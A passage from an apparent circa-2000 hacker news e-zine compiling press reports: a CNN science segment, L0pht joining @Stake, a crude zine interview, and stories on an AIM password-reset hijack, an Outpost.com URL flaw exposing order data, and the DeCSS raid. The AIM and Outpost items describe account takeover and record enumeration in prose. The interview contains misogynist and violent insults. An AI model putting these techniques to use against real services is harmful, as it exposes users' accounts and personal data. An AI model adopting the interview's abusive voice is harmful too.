KELLAN: For SCIENCE & TECHNOLOGY WEEK, this is Ann Kellan.
(END VIDEOTAPE)
LOCKRIDGE: The Lopht members say their security expertise is particularly
needed in the field of e-commerce. They see a conflict there between
protecting data and the need to make Web sites very easy and welcoming for
cyber-shoppers. But, says one of their new corporate partners, "If you can't
do security right, you can't do e- commerce right." "Mudge" agrees, and says
security should no longer be just walls built to keep people out, but an element
that makes everyone's job easier, from the warehouse to the delivery company
to the customer.
Coming up: from climate patterns to better weather detection, we'll tell with
you what's making waves.
(COMMERCIAL BREAK)
LOCKRIDGE: Some climate researchers think there's a big change going on
in the Pacific Ocean that could bring weird weather for the next 30 years.
They say unusual areas of warm and cold water may mean we're entering a
pattern called the Pacific Decadal Oscillation, which changes weather around
the world.
Anne McDermott has more.
(BEGIN VIDEOTAPE)
ANNE MCDERMOTT, CNN CORRESPONDENT (voice-over): Painting
the lawn: Another wacky California custom? Well, no. This was back in the
late '80s, when a drought burned up all the grass. Eventually, though, the
vegetable dye was washed away by El Nino. But it may be time to get out
that green dye again, because according to the experts, more drought is on the
way. And that's because of a natural recurring climate pattern over the
Pacific Ocean called Pacific Decadal Oscillation, or PDO for short.
Unlike El Nino, which only sticks around a year or two, PDO is a much bigger
phenomenon, and one that waxes and wanes over the course of 20 to 30
years. Scientists monitoring this PDO say it steers the jet stream over North
America and will result, they say, in lots more rain in the Northwest part of the
United States and less than normal rainfall in the Southern part of the country.
WILLIAM PATZERT, JPL OCEANOGRAPHER: When the Pacific speaks
with events like this, Pacific Decadal Oscillation, the United States definitely
listens.
MCDERMOTT: How severe droughts will be is by no means possible to
determine, but expect a renewed interest in those low-flow showerheads and
those water-skimping toilets. No one's forgotten rationing or the sacrifices.
UNIDENTIFIED MALE: Not being able to wash down my driveway and
wash my car.
MCDERMOTT: Now this PDO is not related to global warming, but its reach
may be global. Scientists say it's possible that the PDO played a part in the
terrible flooding in Venezuela last year and in those wind storms that battered
Europe late last month. But mostly, this climate pattern will affect the U.S.
In fact, it's already happening. Scientists say New England's long wait for that
first big snow is related to the PDO. Next up: well, at least some periods of
drought in some parts of the country, though it's unlikely it'll make anyone
yearn for the return of El Nino.
For SCIENCE & TECHNOLOGY WEEK, I'm Anne McDermott, CNN, Los
Angeles.
(END VIDEOTAPE)
LOCKRIDGE: If we're going to have strange weather in the next few years,
at least forecasters may be able to give us a bit more warning of what's
coming. The National Weather Service has a brand new computer, and
officials say it will make predictions faster and more accurate.
Natalie Pawelski reports.
(BEGIN VIDEOTAPE)
NATALIE PAWELSKI, CNN CORRESPONDENT (voice-over): Predicting
this week's snowstorms and bitter cold and forecasting the hurricanes and
tornadoes of warmer months has just gotten easier, says the National Weather
Service, thanks to a new supercomputer.
JACK KELLY, NATIONAL WEATHER SERVICE: We're starting off
today with a much -- a five-times-faster computer than we've had, and by
September, it will be about 28-times faster than the one we currently have. So.
we're able to do better simulations of the atmosphere.
PAWELSKI: The Weather Service says the new computer will give people
more lead time to prepare for severe storms, and it's designed to run
increasingly-complex forecasting models that predict what's coming with
ever-greater detail.
KELLY: What's that mean for everyone? It means more accurate forecasts,
longer-time forecasts and more accurate, both temperature, rain, you name it;
it's going to be better than what we've been able to do.
PAWELSKI: They say everybody talks about the weather but nobody does
anything about it. The new computer should allow people to talk about coming
weather further in advance. And while we still can't do anything about it, at
least we can be better prepared.
For SCIENCE & TECHNOLOGY WEEK, I'm Natalie Pawelski.
(END VIDEOTAPE) LOCKRIDGE: Coming up next: surfing the Web and
the water. We'll travel to Florida for a marine mammal mystery, then
introduce you to an older generation learning some new technology.
(COMMERCIAL BREAK)
LOCKRIDGE: Skywatchers with clear weather got a spectacular show on
Thursday night. A total lunar eclipse made the full moon glow an eerie shade
of red over North and South America. This was the first time in four years
that the Sun, Earth and Moon lined up just right to produce this kind of show.
It happens when the Earth's shadow blocks most of the Sun's rays from
lighting up the Moon. The next full lunar eclipse will be in July, and the best
viewing for that one will be from Asia and Australia.
Marine biologists in the Florida keys are trying to solve a mystery. Starting last
weekend, dozens of bottle-nosed dolphins began stranding themselves on tidal
flats. They included both healthy and sick animals, and scientists are trying to
figure out just what drove them so close to shore.
Reporter Mike Tobin, from our affiliate WSVN, has the story.
(BEGIN VIDEOTAPE)
MIKE TOBIN, WSVN REPORTER: Hours and hours of desperate,
exhaustive labor got rescuers to the point where they finally chased the
dolphin out into open water.
CHRIS BLANKENSHIP, MARINE BIOLOGIST: It's nice to see him go
offshore, but whether they get stranded again, we don't know.
TOBIN: Without warning, dolphins started coming ashore, not just on Long
Key, but on the west coast of Florida. These dolphins ran aground at
Aresnicker (ph) Bank, about five miles off Long Key. So necropsies are being
performed on all the dolphin that died to see if there was an illness or toxin
which caused this.
BRAD LANGE, LAYTON, FLORIDA FIRE DEPARTMENT: Something's
obviously going on. Right now, we're checking dolphins out, and hopefully we'll
know more later on.
TOBIN: There were two efforts going on in the water, one to nurse the ill,
exhausted or injured back into swimming shape, and two, to scare the healthy
dolphin into the open sea, but the first attempts at human chains were
unsuccessful. The healthy dolphin kept coming back. Then someone came up
with a theory that this was tightly knit pod of dolphin, and the sick ones were
calling for help.
BLANKENSHIP: Sometimes animals will, when they congregate together as
a family, if you get a couple of sick ones, and they have this feeling of
responsibility, at least in my mind, you know, they have to take care of the
animals that are sick.
TOBIN: So they moved the sick ones to a tank onshore, where they couldn't
communicate with the other dolphin. Sadly, one of those died when it was
moved.
DENISE JACKSON, WILDLIFE RESCUE: We have had scenarios that
once the injured and the sick ones died, the healthy ones did leave.
TOBIN: Then the volunteers formed a human chain again, this time with
kayakers in front. With buckets of fish on their legs, they would try to act like
the Pied Piper, tempting the dolphin out to sea. With all the people behind them
scaring the dolphin, the survivors made it to the open water, where they can't
be injured or trapped by the sharp corral the in the shallow water of the Keys.
LANGE: We consider this a great success because there could have been a
lot of them expired.
(END VIDEOTAPE)
LOCKRIDGE: That report from Mike Tobin, of our affiliate WSVN.
When you imagine a typical Internet user, you might think of a teenager
endlessly chatting with friends, or a young business tycoon checking stock
prices on a Palm Pilot.
But the Internet's not just for the young. As Don Knapp reports, it's keeping
some senior citizens young at heart.
(BEGIN VIDEOTAPE)
DAVID LANSDALE, GERIATRICS EXPERT: So let's go down one more,
push your enter key.
DON KNAPP, CNN CORRESPONDENT (voice-over): David Lansdale's
found a way to spark up the lives of the elderly. He gets them wired to the
Internet.
LANSDALE: Now one more. Now type "au."
UNIDENTIFIED FEMALE: I thought maybe I was through with life, I was
ready for a rocking chair because I was 86 years old, and I haven't found the
rocking chair yet.
KNAPP: The average age of Lansdale's students is around 68. All are in
nursing or assisted care homes. He used family relationships to introduce them
to the Web.
LANSDALE: Here they are in California, a family was back in New York.
The opportunity for them to connect, to cross that time and space, was an
incredibly-precious opportunity to them.
UNIDENTIFIED FEMALE: I hear you are so beautiful.
KNAPP: Lillian Sher (ph) dictates an e-mail to a newborn great
granddaughter. Working with one another, the seniors learn as a group, to both
master the Internet and overcome what Lansdale calls the maladies of the
institutionalized: loneliness, helplessness, boredom and cognitive decline.
MARY HARVEY, WEB SURFER: Bingo just doesn't appeal to me, but this
does. Believe me, this does.
(LAUGHTER)
KNAPP: Ninety-four year-old Ruth Hyman is a star pupil and an instructor.
RUTH HYMAN, INTERNET INSTRUCTOR: When I sent a letter to my
grandchildren, a great grandchildren, they hanged it up in their offices, just like
I used to hang their drawings on my refrigerator.
LANSDALE: There's a collective benefit, there is an element of -- a
tremendous element of therapy. And remember that we started as a support
group.
DIXON MOOREHOUSE, WEB SURFER: I just wished I was 15 years old
and getting to learn all this.
LANSDALE: The seniors call their weekly meetings Monday Night Live, and
many say it's given them new life.
HYMAN: Three years ago they told me I wasn't going to live, but I showed
them. I got on the Web and got work, and I worked ever since.
KNAPP: For SCIENCE & TECHNOLOGY WEEK, I'm Don Knapp.
(END VIDEOTAPE)
LOCKRIDGE: Thanks for joining us. I'm Rick Lockridge, in for Ann Kellan.
Next week: technology evolution and how it affects you. The digital age has
produced lots of new businesses and is threatening to kill off some old ones.
It's survival of the fittest, where the losers become techno-saurs. That's
coming up on the next SCIENCE AND TECHNOLOGY WEEK. We'll see
you then.
TO ORDER A VIDEO OF THIS TRANSCRIPT, PLEASE CALL
800-CNN-NEWS OR USE OUR SECURE ONLINE ORDER FORM
LOCATED AT www.fdch.com
-=-
ABC News;
By Bill Redeker
Jan. 22 — Computer crime is on the rise. And as
more people start purchasing online, entrusting
their credit card numbers and other personal
details to the ether, many experts say it is time
to step up the battle for online security.
“You don’t even have to be a really knowledgeable
intruder, you can just use one of these tools that are out
there and break into a system,” says Kathy Fithin of the
Computer Emergency Response Team at Carnegie Mellon
University in Pittsburgh. Last year the Response Team
received reports of more than 8,000 Internet attacks and
intrusions.
Connecticut-based CD Universe reported it received a
fax from a hacker describing himself as a 19-year-old from
Russia. The hacker offered to destroy the credit card files
he had accessed through a flaw in the software for
$100,000. When CD Universe passed up the offer, the
hacker retaliated by posting up to 25,000 numbers on a
Web site called Maxus Credit Card Pipeline.
Card Numbers Cause Alarm
“What’s interesting about this case is the sheer scale of
the crime. The person claims to have 300,000 credit cards,
which is an enormous amount,” says security expert Elias
Levy.
Discover Financial Services, Visa, MasterCard and
American Express are all working to get new cards to the
customers compromised by the Russian hacker.
The Maxus incident is bound to reignite consumer
concern over online security. At least 30 businesses are
compromised every day, according to ABCNEWS
research. The problem has led to a boom in computer
security firms.
@Stake, a security firm in Boston, went to the source
and hired eight of the most prominent hackers in the
country, a group called L0pht Heavy Industries. The L0pht
crew consider themselves “gray-hat” hackers. Unlike
black-hat hackers such as Maxus and white-hat vigilante
hackers who sabotage kiddie-porn sites, L0pht identifies
security flaws publicly then dares companies to fix them.
Several L0pht members have testified in Congress
about online security. They’ll be helping @Stake design
systems that even they can’t penetrate.
“I think we really understand how people break into
computer systems because we do it ourselves,” said Weld
Pond, a L0pht member.
Hackers vs. hackers: it may be the face of the future.
@HWA
48.0 HNN: Jan 24: Several New Ezine Issues Available
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I really hoped to review at least one of these for this issue but
the sites are so damn slow or over crowded I couldn't reach them
so hopefully next issue i'll have some snippets/a review for you
- Ed
From HNN http://www.hackernews.com/
contributed by Armour, The Hex, and others
New editions of several underground e-zines have been
released. InET from Columbia in both English and
Spanish, Issue #1 of Hack in the Box, Quadcon #3 from
Australia and DataZine 0.01 from the folks at Datacore
have hit the streets. Get your copies now!
InET
http://www.warpedreality.com/inet
Hack In the Box
http://www.thelimit.net/hitb
Quadcon
http://landfill.bit-net.com/~quadcon/quadcon-3.txt
DataZine
http://www.tdcore.com
If anyone else manages to get through and wants to write a
review on these (or any other zine, even if its your own *G*)
go ahead and email it in and i'll post it in the zine. - Ed
Here's a taste of Quadcon by Amour from Australia (Issue #1)
****************************************************************************
***************************<-=- QuadCon -=->********************************
****************************************************************************
*************The Newsest Zine To Hit Australia And The World****************
*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
============================================================================
December 1999 - Issue 1
============================================================================
Whats In This Issue:
# Halcon Hacker Valiant Gives QuadCon An Exclusive Interview And Some
Special Tips In Trying To Prevent Your Machine From Being Hacked
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
The Interview Of Valiant The Leader Of Halcon. | http://www.halcon.com.au
----------------------------------------------
BackGround:
Halcon was founded in 1993 as a Bulletin Board System and by 1996 had grown
to atleast ten members. Still growing, in October 1996 the group took on
the name Halcon Technologies and in 1997 Valiant registered a business name,
allowing them to register the halcon.com.au domain name. Although the group
was not widely known, on 22nd October 1999, Halcon was blamed for a massive
hack on the Australian Republican Movement website. Despite denials and
misquotations, the story was covered by news outlets, an example of which is
at the following URL:
http://www.halcon.com.au/arm0001.html
Following this incident, Halcon received massive amounts of publicity (most
of it was unwanted) and Valiant claims that Halcon has become the most
popular hacking group in Australia. It currently has 24 members and thousands
of supporters.
Having been misquoted once, Valiant has since denied all interviews to the press,
including an offer from Channel Nine. QuadCon is therefore proud to present
an exclusive, uncut interview with Valiant.
-------------------------------------------------------------------------------
The Interview
-------------
QuadCon: If you were a system administrator of a newly installed slackware
linux machine and you had 20 minutes to secure it what would you do?
Valiant: Go to all the available sites (www.halcon.com.au/links.html) that
cater for that, and quickly grab and install as many patches for
your software available. Close all services (especially fingerd)
that arn't needed, relocate telnet to a different port (I know it
breaches RFC's, but fuck it.) and make sure that you don't
adduser lamers. :)
QuadCon: What is the most common thing to hack to gain access to?
Valiant: Fingerd is the most exploitable feature on machines, the good old
crackers highway. Allthough these days it's neglected as a mode of
system penetration, also alot of sysadmins don't understand the point
of finger anymore and remove it anyway. As for hacking, the best
method available that I remember overusing would be a buffer overflow
in a certain software which makes calls to root. Flood the software,
bang, down it goes and you have root. :)
QuadCon: Does the name Halcon have any relavence to you and why did you choose
it for the name of the group?
Valiant: Halcon .. well, I chose that many years ago, so I can't really
remember why it was chosen, other than that it sounds funky. :P
QuadCon: How would you characterize the media coverage of you?
Valiant: Trivial and biased. They just want an 'evil hacker genious' who
brags about how he hacked NASA, they don't really like me as
basically I won't brag, and I prefer to explain how idiotic the
consumers are for purchasing fucked computers, etc, and other
consumer related problems.
QuadCon: What do you think about hacks done in your name--for instance, the
Australian Republican Movement hack?
Valiant: I wasn't expecting such media coverage on that topic, however they
have no evidence against me, and I have yet to admit to even being
born at this point in time. So fuck 'em all. :)
QuadCon: What's the biggest misconception perpetuated by Hollywood
cybermovies?
Valiant: There is no such thing as a hot female hacker named Acid Burn who has
pert tits and lips that would look very nice wrapped around my hard
disk. :)
QuadCon: In your own words, define hacker.
Valiant: There's two meanings. I fall into both. The code hacker, who lives
to program and does it the hard way, and the system hacker, who loves
finding exploitable features in systems to gain access, does so,
notifies the sysadmin and patches the hole.
QuadCon: What is your technical background. (Which platform do you prefer
PC/MAC? What is your online background? Do you do networking? Do you
know programming languages,etc.)
Valiant: At the moment my prefered operating system is Windows 98 due it's
usability and comprehensive system architecture, when it comes to
personal use, for industrial things such as networking, I prefer any
linux distribution. I am a PC user, allthough I have a few old Apple
Classics in my computer collection. I've been using the internet
through BBS gateways for ten or more years. I network when I have
to, but I used to work as a network engineer. As for programming
languages, I have a bad memory and generally have to 'relearn' things
when I need them, however it's more a refresh than a relearn. :)
QuadCon: I understand that hackers assume an online nickname to become known
by - how did you acquire your nickname?
Valiant: I was seven years old when I logged onto a BBS using an audio coupler
900 bps modem at a friends place. It asked for a handle, Valiant was
my current dungeons and dragons charracter, so I typed it in
sheepishly. I've been known by it ever since. :)
QuadCon: What do you portray system administrators are like?
Valiant: Fail-safe devices that take care of systems, that if programmed
correctly would never need human assistance. :)
QuadCon: What do you think of ALOC, another aussie hacking group?
Valiant: Who? :)
QuadCon: What currently is Halcon working on?
Valiant: Currently working on? We're currently working on the ultimate
encyclopeadia of how to be slothenly and lazy. :)
QuadCon: What would you like Halcon to be in the future?
Valiant: I don't know, that's a hard question really. I never wanted it to be
anything to begin with, time has just made it bigger than I ever
expected. Back when I was a kid and it first started, I never really
thought it would exceed a BBS group of users who were of the same
interests. Now it's allmost like a religious cult for some. :)
QuadCon: Who in the world do you dislike most?
Valiant: Anyone with an IQ under 110. :) 100 is average, so I like people a
tad over. The others should be neutered and shot. :)
QuadCon: Any last comments?
Valiant: I like being a cunt-rag.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Special Thanks
--------------
Valiant of Halcon http://www.halcon.com.au
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Support Us
----------
Please support us - we are looking for a fast permanent unix box to host
a website with all our zines on. If you believe you can help see the contact
section below. Also if you know anyone who wants or deserves to be interviewed
also see the contact section below.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Contact
-------
I can be contacted on IRC irc.wiretapped.net or on the email address
marena@iinet.net.au
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Copyright 1999 QuadCon
[This "how not to write a zine"-style document got this response from the
people hosting the file (wiretapped.net):]
http://the.wiretapped.net/security/textfiles/quadcon/response.txt
@HWA
49.0 HNN: Jan 25: AIM Accounts Susceptible to Theft
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AOL will always have problems of some sort, no matter what they
do, the system is just too big and complex and the operators do
not know more than the basics of how the user interfaces work
expect to see many more AOL/AIM etc problems and exploits - Ed
Oxymoron: "AOL tech support"
From HNN http://www.hackernews.com/
contributed by no0ne
A group of teenagers have discovered a way to take
over any AOL Instant Messenger account as long as
they know the person's screen name. A staff tool that
was picked up from AOL's proprietary online service lets
them exploit a hole in AOL 5.0's registration process,
allowing them to reset users' passwords. During the AOL
5.0 registration process, AOL asks for a person's screen
name. The teenagers enter the screen name they want
to have, when prompted for a password they make one
up to get the "invalid password" message. AOL 5.0 then
buffers the screen name within the registration process.
The perpetrators then jump to another part of the
registration process where AOL thinks the intruder is the
rightful owner of the AIM screen name and permits the
password to be reset. AOL says it is working to correct
the problem.
C|Net
http://news.cnet.com/news/0-1005-200-1530654.html?dtn.head
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2426698,00.html?chkpt=zdhpnews01
MSNBC
http://www.msnbc.com/news/361415.asp
Wired
http://www.wired.com/news/business/0,1367,33881,00.html
CNET;
Hackers learn how to take over AOL IM accounts
By Courtney Macavinta
Staff Writer, CNET News.com
January 24, 2000, 4:30 p.m. PT
America Online Instant Messenger users could find their online identities
stolen via a security hole that allows hackers to hijack their accounts
through another popular service: AOL 5.0.
A small band of hackers has discovered a way to take over any AOL Instant
Messenger (AIM) account as long as they have a person's screen name. By
using an AOL staff tool they unearthed while poking around the company's
proprietary online service, they exploit a public hole in the AOL 5.0
registration process that lets them reset AIM users' passwords.
Once the hackers do this handiwork, initial users of the screen names are
locked out of their accounts, giving the hackers open access to users'
"buddy lists" of other AIM users and the ability to maintain trial AOL 5.0
accounts under the same screen names, as confirmed by CNET News.com.
AOL spokesman Rich D'Amoto said he hasn't heard of any complaints about
stolen AIM screen names, but that the company is looking into the issue and
will try to track down the hackers.
"We're aware of the situation and we are deploying security measures to
defeat the hackers," D'Amoto said.
More than 40 million people have registered AIM screen names and use the
program to carry on short conversations or send quick alerts to their
friends or co-workers.
AIM users can set up private buddy lists and never have to share their
screen names with people they don't know. But many users give up their
names freely in chat rooms or through AIM's "find a buddy" feature, which
lets users search for someone to talk with based on a common interest, such
as books or religion.
The teen-age hackers who found the hole in AOL 5.0 say they have stolen
more than a hundred names, such as "New York City." Some use the names
they've seized to extract information about the person from friends and
family. Mostly the ploy is a game.
"We do it if we've seen someone we don't like in a private chat room," one
of the hackers said in an interview.
At one point, the high school senior said he tried to let AOL know about
the hole. "If AOL would just listen to people like us instead of blowing us
off and terminating our accounts, they could fix it," he said.
Security holes usually aren't kid's stuff to a major company such as AOL,
however.
In the wake of high-profile privacy breaches by way of human error and
email-based attacks, AOL has been forced to take security seriously to
ensure its more than 20 million members that their personal information,
e-commerce transactions and communications are protected on its service.
AOL wants AIM registrants to feel safe, too; their frequent and consistent
activity adds up to lucrative advertising dollars for AOL. And AOL's
quality control and privacy measures will only become more important--and
potentially harder to manage--as its acquisition of Time Warner takes
shape.
AOL will likely try to close the loophole in the registration process that
allows the hackers to assign a new password to the account.
Here's how it works:
At one point in the 5.0 registration process, AOL asks for a person's
screen name. The hackers enter the screen name they intend to steal, but
when asked for a password, they simply guess and get an "invalid password"
message. The trick is that AOL has "buffered," or remembered, the screen
name within the registration process. The hackers then use a tool that lets
them jump to another part of the registration process. Once these steps
have been taken, AOL thinks the hacker is the rightful owner of the AIM
screen name and later on in the registration process permits the password
to be reset.
Security experts say such abuses aren't rare.
"These software faults are more common than most people think; it's more
common than we would like," said Elias Levy, of the consulting firm
Security Focus. "Most companies, their first reaction is to deny the
problem and then go into damage recovery mode and fix the problem without
acknowledging it."
Although AIM users could simply register a new screen name, Levy said that
having a name stolen could be more of a concern for people who use
messenger or chat programs for professional reasons.
"It can be nerve wracking if someone stole your online personality," he
said.
AOL said that if a person has had their AIM screen name stolen, for now
they can use the program's "forgot password" feature to have an email sent
to the address they provided at registration that includes the account's
current
password. Then the original holder of the screen name can reset the password
once again.
-=-
--------------------------------------------------------------
This story was printed from ZDNN,
located at http://www.zdnet.com/zdnn.
--------------------------------------------------------------
Hackers impersonate AOL users
By Lisa Napoli, MSNBC
January 24, 2000 6:09 PM PT
URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2426698,00.html?chkpt=zdnntop
Since November, a group of teenagers say they have been stealing AOL Instant Messenger screen
names and masquerading as their rightful owners. The hackers sometimes act as imposters and
pilfer credit card numbers and other personal data from friends and family of the exploited online
users. The hackers demonstrated their method to MSNBC on Monday.
According to a letter the hackers sent on Sunday to members of the technology press, they use the
names "just for the pure joy of trying to ruin friendships by insulting friends who have no idea they
are talking to a hacker and not the victim."
The hackers say they have contacted the media because AOL (NYSE: AOL) had not responded to
their notification to them of the security hole.
An AOL spokesman, Rich D'Amato, said on Monday afternoon, "We are aware of the situation and
are deploying security measures to defeat it. When hacker behavior crosses the line into illegal
action, we'll certainly bring it to the attention of authorities."
D'Amato would not specify how many people had been affected or pinpoint the time line, saying
those details could affect the investigation.
"AOL is so easy to abuse, it's pathetic," said TangentX, who says he is 17- years-old and, along with
two others, found the security hole this fall. They discussed it, he said, in special private chat rooms
on AOL for hackers and use of the so-called "exploit" spread. He estimates that 400 names have
been stolen to date.
AOL press materials say that 45 million people have created AOL
Instant Messenger screen names as of last August. The popular
software allows online users to chat privately, almost in real time, with
others who have the software.
AOL also owns ICQ, another popular instant messaging program,
which claims 50 million registered users.
TangentX says he and others have found several ways to make an instant message screen name
into an AOL account without the password. One involves resetting a password for a screen name
through a security hole. The other involves taking a screen name, creating an AOL account for it
and then changing the password.
When he was given a screen name on Monday afternoon by MSNBC, TangentX was able to access
the account and send an instant message from the name in a matter of minutes.
-=-
MSNBC;
Fuck em, check the link yourself. :-/ (No I don't like Micro$loth)
-=-
Wired;
Hack Takes Aim at AOL Clients
Wired News Report
5:30 p.m. 24.Jan.2000 PST
A security breach on AOL Instant Messenger put the privacy of AIM users at risk
on Monday, according to a published report.
The breach, first reported in Salon, allows subscribers to link new AOL accounts
to AIM names that already exist. Holes in the sign-up process allow people to get
around the password protection of the AIM accounts.
"We are aware of it and are deploying security measures to defeat it," said Rich
D'Amato, a spokesman for AOL.
AOL's online service is used to changed passwords, so hackers are easily able to
open new accounts using the existing AIM user's name.
People who subscribe to AOL are not affected by the breach. People who use instant
messaging software (AIM) outside of AOL, are.
D'Amato called the security breach an example of "hacker behavior that crosses the
line into illegal action."
"Our intention is to investigate this and when we identify an individual or groups
of individuals, we intend to bring this to the attention of the proper law
enforcement authorities," D'Amato said.
He declined to speculate on when the problem will be fixed or how many users were
affected, although he characterized it as "a very small number."
David Cassel, who edits the AOL Watch mailing list, claimed the security hole was
easily preventable. It was simply a matter of someone thinking through the sign-on
process.
"AOL left a gaping hole in the way they implemented it," Cassel wrote in an email.
"Those who happened to have an AOL account weren't vulnerable, but everyone else was.
To promote such an easily cracked software really violates
any reasonable expectation of security. In that sense, all AIM users were affected."
"AOL is a marketing company, not a technology company," Cassel wrote. "They
mass-promoted a software that's vulnerable to easy attacks."
@HWA
50.0 HNN: Jan 25: Outpost Leaks Customer Info
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
By changing the order number in the URL users at
Outpost.com are able to view the personal information,
including the type of credit card used, of other users.
An Outpost spokesperson said that the problem would
be fixed immediately. (This type of problem is extremely
old, it is surprising that such a large company such as
Outpost has this problem. This just further illuminates
the need for effective e-commerce security.)
Wired
http://www.wired.com/news/technology/0,1282,33842,00.html
Outpost Leaves Data Unguarded
by Chris Oakes
1:25 p.m. 24.Jan.2000 PST
While James Wynne was checking his online order Friday at Outpost.com, he
noticed something curious -- he could check orders from other people, too.
He noticed that the long Web page address for his transaction included his
order number, and decided to see what happened if he changed a digit to
try and access other customers' records.
The modified address pulled up the same detailed transaction summary for
another customer's order number -- including a full range of sensitive,
and valuable, personal data.
"You can see someone's email address, their billing address, their
shipping address, type of credit card they used, their order history --
everything they bought, everything they received, everything they're
currently waiting for," Wynne said.
In addition to exposing nuggets of information about individuals -- tying
their email identity to their street address, and revealing recent
purchases -– the security glitch could be exploited by marketers to build
databases of target customers, said Wynne.
"I could set up data-mining program that would check random [order]
numbers and find out all people who bought PalmPilots at Outpost.com," he
said.
Outpost.com acknowledged the flaw Monday and said it would have the
problem fixed by the end of the day. But the vulnerability did not
represent a dramatic risk, the company said.
Most commerce sites prevent the simple searching of their database by
encrypting or otherwise preventing the data from appearing in URLs.
"It shouldn't be there, but it is," said Outpost.com spokesman Craig
Andrews. "It's sort of hidden buried away in the URL," he said, claiming
that only hackers looking for holes would be able to find it.
Furthermore, he said, while the hole revealed both personal and purchasing
information, it did not betray credit card numbers or other vital
financial information.
"It's unfortunate that pricing and product information is there. But the
other personal information is all over the place. You can go to a place
like [Web information directory] 411 and get addresses and personal
email."
However, Andrews acknowledged that people generally volunteer the
information in directory services, and purchasing information is not
included.
Ray Everett-Church, chief privacy officer at Alladvantage.com and longtime
spam-watcher, said the flaw is more of a threat than Outpost portrayed it
to be.
"I would certainly consider this a threat to not only integrity of data
privacy promises a site might make, but certainly to the kinds of
confidence level that companies should be trying to instill in consumers,"
Everett-Church said.
"It causes folks to question the security of these transactions and the
advisability of entering into them in the first place."
Was it an oversight that led to the hole? Technically, yes, but not
really, said Outpost.com's Andrews.
"Between management of the site and the software they use to manage
orders, it was just something that hadn't come up.... It wasn't really an
oversight by the textbook definition."
Everett-Church said he doesn't think the public hears about personal data
vulnerabilities nearly as often as they occur.
"I think these sorts of Web ordering systems have these problems quite
frequently -- probably more frequently than we realize. All it takes is a
clever hacker to keep poking and prodding at the systems to find these
kinds of
weaknesses."
@HWA
51.0 HNN: Jan 25: DeCSS Author Raided
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Zorro
The National Authority for Investigation and Prosecution
of Economic and Environmental Crime in Norway has
raided the home of Jon Johansen of Steinsholt Norway.
Jon is the author of the controversial software DeCSS.
Authorities confiscated his computer and cellphone,
they also questioned him for up to seven hours. Both
Jon and his father have been charged with breaking the
copyright act and the penal law which could result in up
to 3 years in prison.
Slashdot
http://slashdot.org/articles/00/01/24/2024233.shtml
VG - Norwegian
http://www.vg.no/pub/vgart.hbs?artid=5712180
TV 2 - Norwegian
http://www2.tv2.no/nyss/n2i.vis?par=70&par=1623664&ext=378097
@HWA
52.0 HNN: Jan 25: Solaris May Go Free and Open
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Jay
When Solaris 8 is unveiled Wednesday in New York it is
expected that Sun will also announce that the software
will be free as well opening access to the software's
source code. Solaris 8 is expected to ship in February.
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2426200,00.html
--------------------------------------------------------------
This story was printed from ZDNN,
located at http://www.zdnet.com/zdnn.
--------------------------------------------------------------
Sun fights Linux, WinNT with 'free Solaris'
By Deborah Gage, Sm@rt Reseller
January 24, 2000 8:58 AM PT
URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2426200,00.html?chkpt=zdhpnews01
Sun Microsystems Inc. is expected to eliminate licensing fees for Solaris 8 to boost its appeal against
Linux and Microsoft Windows NT, say sources close to the company.
Sun is expected to make its "free Solaris" campaign the centerpiece of its Solaris 8 unveiling, which
takes place this Wednesday in New York City. At that event, Sun also is expected to announce it
will open up access to Solaris 8 source code.
Solaris 8 is due to ship in February, around the same time Microsoft is due to ship Windows 2000.
McNealy: Set it free
Sun CEO Scott McNealy has been laying the groundwork for the announcement for months by
telling audiences that software is a service and should be free. McNealy recommended last year that
the government require Microsoft to make free and open its application program interfaces, rather
than break itself into pieces, as a preferred remedy in the current Department of Justice vs.
Microsoft antitrust investigation.
"Free" is a relative term, however. Sun in December eliminated fees for Java 2 Standard Edition but
still requires developers to pay for compatibility tests required to maintain their licenses. And Linux
advocates and other industry watchers have claimed that the Sun Community Source License is not
as free or open as Linux and other open-source licenses are.
Sun will pitch Solaris 8 against Microsoft's high-end Windows 2000 package called Windows 2000
Datacenter, which is in beta and won't be commercially available until midyear, at best.
Sun in November announced a free early access version of Solaris 8. Sun is positioning Solaris 8 as
the most scalable and reliable network operating system on the market. Microsoft, which stepped up
its Windows 2000 marketing campaign within the past week, in anticipation of the Feb. 17 rollout of
the product, is touting Windows 2000's reliability as its main selling point.
Zander: We'll never do Linux
Microsoft's not Sun's only worry. Sun must fend off growing encroachments by Linux, which not
only is free but also is becoming more robust with help from Sun competitors IBM Corp., Intel Corp.
and Hewlett-Packard Co.
Sun President Ed Zander told financial analysts last week that Sun will never adopt Linux as its
operating system but will instead "put every ounce of R&D we have into Solaris."
"It amazes me to watch IBM and all those other companies chase Linux the way they did Windows
NT five years ago," Zander said.
